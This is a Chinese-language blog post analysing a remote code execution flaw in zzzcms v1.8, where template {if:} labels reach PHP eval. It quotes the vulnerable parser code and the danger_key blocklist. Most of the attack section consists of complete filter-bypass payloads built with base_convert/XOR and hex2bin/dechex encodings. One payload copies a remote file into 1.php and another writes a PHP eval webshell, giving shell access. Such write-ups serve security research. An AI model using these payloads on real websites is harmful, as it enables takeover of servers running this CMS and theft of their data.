zzzcms前台RCE

弄了个博客发一篇文章来测试一下,这是十月份在公司审计的一个cms当时的最新版存在的一个可以shell的rce,有一个payload很有意思记得好像是参考的安全客的一篇文章,然后自己构造了一个payload也能打成功。

漏洞分析

1.首先到zzzcms的官网上下载zzzcms v1.8的安装包。

2.入口文件index.php

1
2
<?php
require 'inc/zzz_client.php';

2.首先跟进zzz_client.php文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
......
require 'zzz_template.php';
if (conf('webmode')==0) error(conf('closeinfo'));
$location=getlocation();
ParseGlobal(G('sid'),G('cid'));
//echop($location);die;
switch ($location) {
case 'about':
$tplfile= TPL_DIR . G('stpl');
break;
case 'brand':
$stpl=splits(db_select('brand','b_template',"bid=".G('bid') or "b_name='".G('bname')."'"),',');
if (defined('ISWAP')){
$tplfile=isset($stpl[1]) ? $stpl[1] : $stpl[0];
}else{
$tplfile=$stpl[0];
}
$tplfile=empty($tplfile) ? TPL_DIR .'brand.html' : TPL_DIR . $tplfile ;
break;
case 'brandlist':
$tplfile=isset($stpl) ? TPL_DIR . $stpl: TPL_DIR . 'brandlist.html';
$GLOBALS['tid']='-1';
break;
case 'content':
$tplfile= TPL_DIR . G('ctpl');
break;
case 'list':
$tplfile= TPL_DIR . G('stpl');
break;
case 'taglist':
$tplfile=TPL_DIR . 'taglist.html';
$GLOBALS['tid']='-1';
break;
case 'user':
$tplfile= TPL_DIR . 'user.html';
break;
case 'search':
$tplfile= TPL_DIR . 'search.html';
break;
define('TPL_DIR', SITE_DIR . 'template/pc/'.PCTPL.$data['pchtmlpath']); 将需要载入的模板的路径赋值给$tplfile
elseif($conf['runmode']==0|| $conf['runmode']==2 || $location=='search' ||$location=='form' ||$location=='screen' || $location=='app'){
$zcontent = load_file($tplfile,$location);
$parser = new ParserTemplate();
$zcontent = $parser->parserCommom($zcontent); // 解析模板
echo $zcontent;

3.然后会解析需要的模板,也是漏洞开始的地方,然后跟进\zzzcms\inc\zzz_template.php的parserCommom函数,其内部实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
class ParserTemplate {
// 解析全局公共标签
public
function parserCommom( $zcontent ) {
$zcontent = $this->parserSiteLabel( $zcontent ); // 站点标签
$zcontent = $this->ParseInTemplate( $zcontent ); // 模板标签
$zcontent = $this->parserConfigLabel( $zcontent ); //配置表情
$zcontent = $this->parserSiteLabel( $zcontent ); // 站点标签
$zcontent = $this->parserNavLabel( $zcontent ); // 导航标签
$zcontent = $this->parserCompanyLabel( $zcontent ); // 公司标签
$zcontent = $this->parserUser( $zcontent ); //会员信息
$zcontent = $this->parserlocation( $zcontent ); // 站点标签 {
$zcontent = $this->parserLoopLabel( $zcontent ); // 循环标签
$zcontent = $this->parserContentLoop( $zcontent ); // 指定内容
$zcontent = $this->parserbrandloop( $zcontent );
$zcontent = $this->parserGbookList( $zcontent );
$zcontent = $this->parserLabel( $zcontent ); // 指定内容
$zcontent = $this->parserPicsLoop( $zcontent ); // 内容多图
$zcontent = $this->parserad( $zcontent );
$zcontent = parserPlugLoop( $zcontent );
$zcontent = $this->parserOtherLabel( $zcontent );
$zcontent = $this->parserIfLabel( $zcontent ); // IF语句 漏洞点
$zcontent = $this->parserNoLabel( $zcontent );
return $zcontent;
}

…// 此处省略


private function parserlocation( $zcontent ) {
$location = G( 'location' );
switch ( $location ) {
case 'about':
$zcontent = $this->parserAbout( $zcontent );
break;
case 'brand':
$zcontent = $this->parserBrand( $zcontent );
break;
case 'content':
$zcontent = $this->parserContent( $zcontent );
break;
case 'search':
$zcontent = $this->parserSearch( $zcontent );//
break;
case 'sublist':
case 'list':
$zcontent = $this->parserList( $zcontent );
break;
case 'taglist':
$tag = db_select( 'tag', 't_name', "t_enname='" . G( 'sid' ) . "'" );
$tag = isset( $tag ) ? $tag : '无效';
$zcontent = str_replace( '{zzz:tag}', $tag, $zcontent );
$zcontent = $this->parserList( $zcontent );
break;
}
return $zcontent;
}

4.跟进parserlocation()函数,当$location的值为’search’时,调用parsersearch函数后函数返回$zcontent,然后渲染成HTML,因此重点关注parsersearch函数,其主要实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function parserSearch( $zcontent ) {
$pattern = '/\{zzz:search(\s+[^}]+)?\}([\s\S]*?)\{\/zzz:search\}/';
$pattern2 = '/\[search:([\w]+)(\s+[^]]+)?\]/';
if ( preg_match_all( $pattern, $zcontent, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
// 获取调节参数
$params = parserParam( $matches[ 1 ][ $i ] );
$where = array( 'C_onoff' => 1 );$whereor='';$type='';
$colnum = conf( 'pagesize' );
$order = array( 'istop' => 'desc', 'isgood' => 'desc', 'c_order' => 'asc', 'c_addtime' => 'desc', 'cid' => 'desc' );
$sid = G( 'sid' );
$arr = parse_url( $_SERVER[ 'REQUEST_URI' ] );
$size = 10;



$norecord =isset( $norecord ) ? $norecord : '很抱歉,没有找到匹配内容!' ;
$keys = danger_key(getform( 'keys', 'cookie' ));
if ( $sid ) arr_add( $where, 'c_sid', db_subsort( $sid ) );



$zcontent = $this->parserListPage( $zcontent );
return $zcontent;

5.然后到1829行$keys = danger_key(getform( ‘keys’, ‘cookie’ )),其中调用了getform函数,getform函数会从REQUEST中获取keys的值,然后使用txt_html对$data进行编码,最后返回编码后的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
function getform( $name, $source = 'both', $type = NULL, $default = NULL  ) {
switch ( $source ) {
case 'post':
$data = _POST( $name );
break;
case 'get':
$data = _GET( $name );
break;
case 'cookie':
$data = _REQUEST($name);//_REQUESTS('keys')
if($data) {
set_cookie( $name,$data ) ;
}else{
$data=get_cookie( $name,$data ) ;
}
break;
case 'both':
$data = _POST( $name ) ? : _GET( $name );
break;
}
if($name=='act'){
if(_REQUEST('act')!=''){
$referer=_SERVER('HTTP_REFERER');
if(!defined('WAPPATH')) {
if ( strpos( $referer, conf('wappath' )) !== FALSE ) {
define( 'WAPPATH', conf('wappath' ));
}
}
}
}
if ( !is_null( $type ) ) {
if(ifch($default)){
$err = checkstr( $data, $type, $default );
}else{
$err = checkstr( $data, $type, $name );
}
if ( $err[ 'code' ] == 0 ){
if ( $default == 'layer' ) {
layererr( $err[ 'err' ] );
}else if( $default == 'json' ){
returnmsg('json',0,$err[ 'err' ]);
}else{
back($err[ 'err' ]);
}
}
}
if ( !is_null( $default ) && !ifch( $default) ) {
$data = empty( $data ) ? $default : $data;
}
return txt_html( $data );

}

6.然后继续回到第三点中的parserCommom方法,在调用parserlocation后会调用parserIfLabel方法,跟进parserIfLabel方法,$zcontent是parserlocation的返回值。danger_key()方法用于过滤危险字符,返回过滤后的值并赋值给$ifstr,接着将$ifstr传递给eval函数,执行完成后返回过滤后的$zcontent,最后渲染$zcontent的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public
function parserIfLabel( $zcontent ) {//漏洞
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';//可控导致漏洞
if ( preg_match_all( $pattern, $zcontent, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr=danger_key($ifstr,1);//检测恶意字符
if(strpos($ifstr,'=') !== false){
$arr= splits($ifstr,'=');
if($arr[0]=='' || $arr[1]==''){
error('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
}
$ifstr = str_replace( '=', '==', $ifstr );
}
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'or', '||', $ifstr );
$ifstr = str_replace( 'and', '&&', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr = str_replace( 'not', '!', $ifstr );
if ( preg_match( '/\{|}/', $ifstr)) {
error('很抱歉,模板中有错误的判断,请修正'.$ifstr);
}else{
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );//漏洞点
}
……

}
return $zcontent;
}

7.整个调用过程如下图所示:

image-20201019101039399

过滤函数分析

danger_key会过滤很多常用函数,有关命令执行以及写文件的函数都已被过滤,部分编码函数decode,chr等也不能利用,但是类似array_map,array_filter,uasort等回调函数并没有进行过滤。

同时会过滤常见的字符,比如这里会将单引号、双引号等特殊字符html编码

1
2
3
4
5
6
7
8
9
10
11
12
function danger_key($s,$type='') {
$s=empty($type) ? htmlspecialchars($s) : $s;
$key=array('php','preg','decode','post','get','cookie','session','$','exec','ascii','ord','eval','replace');
$s = str_ireplace($key,"*",$s);
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','print','echo');
foreach ($danger as $val){
if(strpos($s,$val) !==false){
error('很抱歉,执行出错,发现危险字符【'.$val.'】');
}
}
return $s;
}

构造payload

array_map

array_map主要作用是为数组的每个元素应用回调函数。

用法:array_map ( callable $callback , array $array1 [, array $… ] ) : array

array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 array_map() 返回一个 array,数组内容为 array1 的元素按索引顺序为参数调用 callback 后的结果(有更多数组时,还会传入 … 的元素)。 callback 函数形参的数量必须匹配 array_map() 实参中数组的数量。

payload

1
array_map(copy,array('http://127.0.0.1/1'),array('./1.php'));

copy作为回调函数作用是拷贝文件,将第一个参数(源文件路径)拷贝到第二个参数(目标路径),通过array_map函数对其传参。这样我们便可拷贝远程服务器的文件到目标路径实现文件上传。

由于上述过滤规则会导致/‘等字符无法使用,故此处考虑使用base_convert函数

base_convert ( string $number , int $frombase , int $tobase ) : string

为了能表示上述payload 的英文字符,这里需要考虑使用36进制,特殊符号可以通过异或的方式得到,具体实现如下:

符号 表达式
[ base_convert(1, 10, 36) ^ base_convert(13, 16, 36)
] base_convert(1, 10, 36) ^ base_convert(15, 16, 36)
\ base_convert(1, 10, 36) ^ base_convert(16, 16, 36)
^ base_convert(1, 10, 36) ^ base_convert(18, 16, 36)
_ base_convert(1, 10, 36) ^ base_convert(17, 16, 36)
` base_convert(16, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(6, 10, 36)
+ base_convert(12, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(34, 10, 36)
( base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(12, 10, 36)
) base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(11, 10, 36)
/ base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(13, 10, 36)
. base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(14, 10, 36)
< base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(32, 10, 36)
> base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(30, 10, 36)
= base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(31, 10, 36)
? base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(29, 10, 36)
: base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(26, 10, 36)
; base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(25, 10, 36)
$ base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(24, 10, 36)
% base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(23, 10, 36)
& base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(22, 10, 36)
base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(21, 10, 36)
base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(20, 10, 36)
! base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(19, 10, 36)
base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(18, 10, 36)
# base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(17, 10, 36)
, base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(16, 10, 36)
* base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(10, 10, 36)
| base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(7, 10, 36)
{ base_convert(2, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(33, 10, 36)
} base_convert(14, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(35, 10, 36)
~ base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(5, 10, 36)
@ base_convert(1, 10, 36) ^ base_convert(26, 10, 36)

完整的payload如下:

1
{if:array_map(base_convert(591910,10,36), array(base_convert(831805,10,36). (base_convert(14,10,36)^base_convert(1,10,36)^base_convert(23,10,36)). (base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36)). (base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(127). (base_convert(26,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(0). (base_convert(26,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(0). (base_convert(26,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(1). (base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36)). (base_convert(1,10,36))),array((base_convert(1,10,36)). (base_convert(26,10,36)^base_convert(1,10,36)^base_convert(23,10,36)). (base_convert(33037,10,36))))}{end if}

发送上述payload会在search目录下生成1.php文件。

访问/zzzcms/search/1.php,蚁剑连接getshell。

image-20201019105200703

payload2

1
array_map(file_put_contents,array('./1.php'),array('<?PHP eval($_POST[1]);'));

需要利用四个函数:

1
2
3
4
hexdec — 十六进制转换为十进制
dechex — 十进制转换为十六进制
hex2bin — 转换十六进制字符串为二进制字符串
bin2hex — 函数把包含数据的二进制字符串转换为十六进制值

通过base_convert异或构造特殊字符过于繁琐,这里还可以利用hex2bin()和dechex()函数。
首先将字符串通过bin2hex()函数编码成十六进制,由于payload中不能存在引号,编码后的结果需要再一次通过hexdec()函数转码成十进制,最后利用hex2bin(dechex(需要解码的字符)还原字符串。构造出payload如下:

1
{if:array_map((hex2bin(dechex(6711660)).hex2bin(dechex(6643568)).hex2bin(dechex(1970560867)).hex2bin(dechex(1869509733)).hex2bin(dechex(7238771)))  ,array(hex2bin(dechex(774844718)).hex2bin(dechex(7366768))),array(hex2bin(dechex(1010770032)).hex2bin(dechex(1752178789)).hex2bin(dechex(1986096168)).hex2bin(dechex(610226255)).hex2bin(dechex(1398037297)).hex2bin(dechex(6105403))))}{end if}

之所以这么拼接是因为本地测试的时候编码解码会出现截断的情况每次好像只能允许是四个字符,但是后来又看了一下hex2bin这个函数,官网说如果输入的十六进制字符串是奇数长数或者无效的十六进制字符串将会抛出 E_WARNING 级别的错误。理论上只要是控制偶数长度就能正常解码,也是后来才知道的也就懒得去看了反正这个payload也还能用哈哈哈。